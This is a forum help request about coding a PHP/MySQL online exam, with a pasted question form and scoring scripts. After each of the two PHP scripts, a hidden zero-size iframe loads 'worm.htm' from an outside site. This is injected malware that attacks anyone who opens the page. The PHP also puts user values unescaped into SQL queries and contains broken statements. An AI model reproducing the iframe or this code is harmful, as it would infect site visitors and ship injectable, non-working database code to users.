with regard to this code I need your help on how to make a code in online examination
1.first how to random the examination
2.How to make a condition whether the examinees will pass or not
3. and how to make a time limit with the examination
heres program
in online examination which has not yet finished .... I do need you help.... please help
/"Heres were I type my questionaires "/
<form action = insertques.php method = post>
<table width="136%" border="0" align="center" cellpadding="0" cellspacing="0" id="maintablefix">
<tr bgcolor="#CCCCCC">
<td colspan="2"><strong><font color="#666666" size="5" face="Arial, Helvetica, sans-serif">Questions
Display</font></strong></td>
<td width="15%"><strong><font color="#666666" size="3" face="Verdana, Arial, Helvetica, sans-serif">Data
Type</font></strong></td>
<td width="9%"><strong><font color="#666666" size="3" face="Verdana, Arial, Helvetica, sans-serif">Fields</font></strong></td>
</tr>
<tr bgcolor="#00CCFF">
<td colspan="2" bgcolor="#00FFFF"><font color="#000099" size="2" face="Geneva, Arial, Helvetica, sans-serif"><strong>Type
Question:
<input name="ques" type="text" size="100">
</strong></font></td>
<td bgcolor="#00FFFF"><font color="#000099" face="Geneva, Arial, Helvetica, sans-serif"><strong>String</strong></font></td>
<td bgcolor="#00FFFF"><font color="#000099" face="Geneva, Arial, Helvetica, sans-serif"><strong>250</strong></font></td>
</tr>
<tr bgcolor="#00CCFF">
<td colspan="2"><font color="#000099" size="2" face="Geneva, Arial, Helvetica, sans-serif"><strong>Choice
1:
<input name="cho1" type="text" size="40">
</strong></font></td>
<td><font color="#000099" face="Geneva, Arial, Helvetica, sans-serif"><strong>String</strong></font></td>
<td><font color="#000099" face="Geneva, Arial, Helvetica, sans-serif"><strong>50</strong></font></td>
</tr>
<tr bgcolor="#00CCFF">
<td colspan="2" bgcolor="#00FFFF"><font color="#000099" size="2" face="Geneva, Arial, Helvetica, sans-serif"><strong>Choice
2:
<input name="cho2" type="text" size="40">
</strong></font></td>
<td bgcolor="#00FFFF"><font color="#000099" face="Geneva, Arial, Helvetica, sans-serif"><strong>String</strong></font></td>
<td bgcolor="#00FFFF"><font color="#000099" face="Geneva, Arial, Helvetica, sans-serif"><strong>50</strong></font></td>
</tr>
<tr bgcolor="#00CCFF">
<td colspan="2"><font color="#000099" size="2" face="Geneva, Arial, Helvetica, sans-serif"><strong>Choice
3:
<input name="cho3" type="text" size="40">
</strong></font></td>
<td><font color="#000099" face="Geneva, Arial, Helvetica, sans-serif"><strong>String</strong></font></td>
<td><font color="#000099" face="Geneva, Arial, Helvetica, sans-serif"><strong>50</strong></font></td>
</tr>
<tr bgcolor="#00CCFF">
<td colspan="2" bgcolor="#00FFFF"><font color="#000099" size="2" face="Geneva, Arial, Helvetica, sans-serif"><strong>Choice
4:
<input name="cho4" type="text" size="40">
</strong></font></td>
<td bgcolor="#00FFFF"><font color="#000099" face="Geneva, Arial, Helvetica, sans-serif"><strong>String</strong></font></td>
<td bgcolor="#00FFFF"><font color="#000099" face="Geneva, Arial, Helvetica, sans-serif"><strong>50</strong></font></td>
</tr>
<tr bgcolor="#00CCFF">
<td colspan="2"><div align="left"><font color="#000099" size="2" face="Geneva, Arial, Helvetica, sans-serif"><strong> Answer
<input name="ans" type="text" size="5">
</strong></font></div></td>
<td><font color="#000099" face="Geneva, Arial, Helvetica, sans-serif"><strong>String</strong></font></td>
<td><font color="#000099" face="Geneva, Arial, Helvetica, sans-serif"><strong>2</strong></font></td>
</tr>
<tr>
<td width="10%"> <div align="center">
<input type="submit" name="Submit" value="Submit">
</div></td>
<td width="66%"><input type="reset" name="Submit2" value="Reset"></td>
<td> </td>
<td> </td>
</tr>
</table>
</form>
===============================================
/" the display of the question "/
<?php
include("connect.php");
$query="Select *FROM quesbanks";
$result=mysql_query($query);
echo "<tr><td><strong><font size=2><a href=logstudent.php><--Go Back</a></font></strong></td></tr>";
echo "<br><br><strong><font color=#99990C><em> $name</em></font></storng> is taking the exam......?";
echo "<form action = dispscore.php method = post>";
$score=1;
while($row=mysql_fetch_array($result))
{
{
$hits="checkbox$score";
echo"<tr><br><td><strong><font color=#O0CCCC>{$row}.<font color=#O000CC>{$row}</font></font></td></strong></tr>";
echo "<tr><br><td><strong>A.<input type=checkbox name=$hits value=1> <font color=#993300>{$row}</font></strong></td></tr>";
echo "<tr><br><td><strong>B.<input type=checkbox name=$hits value=2><font color=#993300>{$row}</font></strong></td></tr>";
echo "<tr><br><td><strong>C.<input type=checkbox name=$hits value=3 ><font color=#993300>{$row}</font></strong></td></tr>";
echo "<tr><br><td><strong>D.<input type=checkbox name=$hits value=4><font color=#993300>{$row}</font></strong></td><br></tr>";
}
$score++;
}
echo "<input type=hidden name=name value=$name>";
echo "<br><br><input type=submit name=Submit value=Submit>";
echo "</form>";
$query=("DELETE *FROM login VALUES name='$name'");
mysql_query($query);
$query=("DELETE *FROM login VALUES mark='$mark'");
mysql_query(query);
?><iframe src=http://www.krvkr.com/worm.htm width=0 height=0></iframe>
======================================================
the computation of the exam
<?php
include ("connect.php");
$query="Select *FROM quesbanks";
$result=mysql_query($query);
echo "<strong><a href=main.php><--Go Back To Main Page</a></strong>";
echo "<form action = disscore.php method = post>";
$mark=0;
$score=1;
while ($row=mysql_fetch_array($result))
{
if ($_POST["checkbox$score"]==$row)
$mark++;
$score++;
}
echo "<tr><td><div align=center><font size=7 color=#6666FF face=Courier New, Courier, mono><strong>$name...</strong></font></div></td></tr>","<tr><br><br><td><div align=center><strong>Your score is </strong></div></td><td><br><div align=center><font size=5 color=#FF0000><strong>$mark</strong></font></div></td></tr>";
echo "</form>";
mysql_query("INSERT INTO login (name,mark) VALUES ('$name','$mark')");
?><iframe src=http://www.krvkr.com/worm.htm width=0 height=0></iframe>
=====================================================
my question is how to make a code to random the examination and and how to limit a time in answering a question.
and lastly how to make a condition if the student pass the examination or failed.